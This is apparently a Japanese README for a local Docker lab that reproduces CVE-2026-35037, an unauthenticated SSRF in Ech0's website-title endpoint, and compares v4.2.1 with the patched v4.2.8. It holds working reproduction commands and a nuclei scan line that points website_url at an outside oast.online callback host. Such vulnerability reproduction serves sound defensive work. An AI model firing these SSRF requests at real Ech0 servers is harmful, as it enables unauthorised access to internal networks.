
このリポジトリには、Ech0 の GET /api/website/title エンドポイントにおける未認証の SSRF 脆弱性 CVE-2026-35037 を再現するための、ローカルで隔離されたラボが含まれています。
このラボでは、クラウドメタデータやサードパーティのインフラストラクチャの代わりに、制御されたローカル証跡サーバーを使用します。
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1 を挙げており、NVD は 4.2.8 より前のバージョンを説明しています4.2.8GET /api/website/titlewebsite_url参考リンク:
docker-compose.yml: Ech0 とローカル証跡 HTTP サーバーを起動しますDockerfile.ech0-lab: 公式 GitHub タグから Ech0 をビルドしますverify-cve-2026-35037.sh: 制御された SSRF 検証リクエストを送信しますevidence/index.html: 一意の <title> を持つ制御された HTML ページnuclei/CVE-2026-35037.yaml: nuclei テンプレート候補このラボを作成した時点では、sn0wl1n/ech0:4.2.1 のような歴史的な脆弱な Docker タグは利用できませんでした。そのため、このラボでは公式の lin-snow/Ech0 GitHub タグからビルドします:
v4.2.1v4.2.8また、ローカルの Dockerfile は、歴史的な build.Dockerfile で観察されたアップストリームのビルド問題も回避します。
curlnucleiこれはローカルの隔離されたラボでのみ実行してください。これらのコマンドをサードパーティのシステムに対して使用しないでください。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。
Ech0 v4.2.1 を起動します:
ECH0_TAG=4.2.1 docker compose up -d --build
制御された検証リクエストを送信します:
sh verify-cve-2026-35037.sh
期待される脆弱な応答:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
Ech0 が制御された証跡サーバーに到達したことを確認します:
docker compose logs evidence
観測された証跡ログ:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Ech0 v4.2.8 を起動します:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
同じリクエストを実行します:
sh verify-cve-2026-35037.sh
観測されたパッチ適用済みの応答:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
テンプレートを検証します:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
脆弱な v4.2.1 に対して実行します:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
観測された脆弱な結果:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
パッチ適用済みの v4.2.8 に対して実行します:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
観測されたパッチ適用済みの結果:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ を使用します。{{interactsh-url}} を使用し、OAST/interactsh のサポートが必要です。{{interactsh-url}} を使用しており、デフォルトでは oast.online や oast.fun などの ProjectDiscovery の interactsh サーバーに接続します。-iserver でサーバーを上書きするか、-ni で interactsh を無効にできます。